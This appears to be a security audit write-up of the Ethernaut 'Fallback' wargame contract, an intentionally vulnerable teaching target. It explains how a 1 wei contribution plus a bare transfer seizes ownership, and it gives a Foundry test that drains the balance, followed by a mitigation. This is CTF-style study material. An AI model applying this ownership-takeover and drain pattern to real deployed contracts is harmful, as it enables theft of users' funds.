

SMART CONTRACT AUDIT

Security Review Report

Target: The Ethernaut

TARGET	The Ethernaut
REPOSITORY	https://ethernaut.openzeppelin.com/
PREPARED FOR	Openzeppelin
PREPARED BY	James Lego
DATE	September 11, 2026

Findings & context

Finding ID	Severity	Title
H-1	High/Critical	Critical Access Control Bypass via Unrestricted Fallback Logic

HIGH [H-1] Critical Access Control Bypass via Unrestricted Fallback Logic in `fallback.sol::receive()` allowing to change the owner & drain the contract balance

Description: The contract attempts to enforce a contribution-based ownership transfer mechanism inside its `receive()` method. However, the requirements to trigger this state mutation are insufficient: An attacker can satisfy `contributions[msg.sender] > 0` by executing a single micro-contribution (`1 wei`) through the `contribute()` method, which permits any call where `msg.value < 0.001 ether`.

```
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}
```

Impact: Once `contributions[msg.sender] > 0` evaluates to true, the attacker sends a bare transfer transaction (`msg.value > 0` with empty calldata directly to the contract address. This invokes `receive()`, overwrites the owner state variable with `msg.sender`, and allows the attacker to invoke the onlyOwner-protected `withdraw()` method.

Proof Of Concept:

1. Initial State: Target contract holds arbitrary ETH balance; owner is set to deployer.
2. Step 1: Attacker calls `contribute{value: 1 wei}()`.
 - Result: `contributions[attacker]` is set to 1 wei.
1. Step 2: Attacker sends 1 wei via direct transaction `target.call{value: 1 wei}("")`.
 - Result: `receive()` executes, pass conditions `msg.value > 0` and `contributions[msg.sender] > 0`, and updates `owner = attacker`.
1. Step 3: Attacker executes `withdraw()`.
 - Result: Contract balance is entirely drained to the attacker.

Proof of Code: Add the following in the foundry test suite.

```

contract TestEthernaut is Test{

    Fallback target;
    address public owner = makeAddr("owner");
    address public attacker = makeAddr("attacker");

    function setUp() public {
        vm.prank(owner);
        target = new Fallback();

        vm.deal(owner,10 ether);

        vm.prank(owner);
        target.contribute{value: 5 wei}();

        vm.deal(attacker, 1 ether);
    }

    function test_FallbackOwnershipAndDrain() public {

        // Confirm initial state
        assertEq(target.owner(), owner);
        assertEq(address(target).balance, 5 wei);

        vm.startPrank(attacker);

        target.contribute{value: 1 wei}();
        assertEq(target.contributions(attacker), 1 wei);

        (bool success,) = address(target).call{value: 1 wei}("");
        assertTrue(success, "ETH transfer failed");

        assertEq(target.owner(), attacker);

        uint256 attackerBalanceBefore = attacker.balance;
        uint256 contractBalanceBefore = address(target).balance;

        target.withdraw();

        assertEq(address(target).balance, 0);
        assertEq(attacker.balance, attackerBalanceBefore + contractBalanceBefore);

        vm.stopPrank();
    }

}

```

Recommend Mitigation: Remove state mutation logic (ownership transfer) from the default `receive()` execution context. If custom ownership assignment is required, restrict it to an explicit, authenticated function call guarded by standard role checks or governance mechanisms (e.g., OpenZeppelin `Ownable`).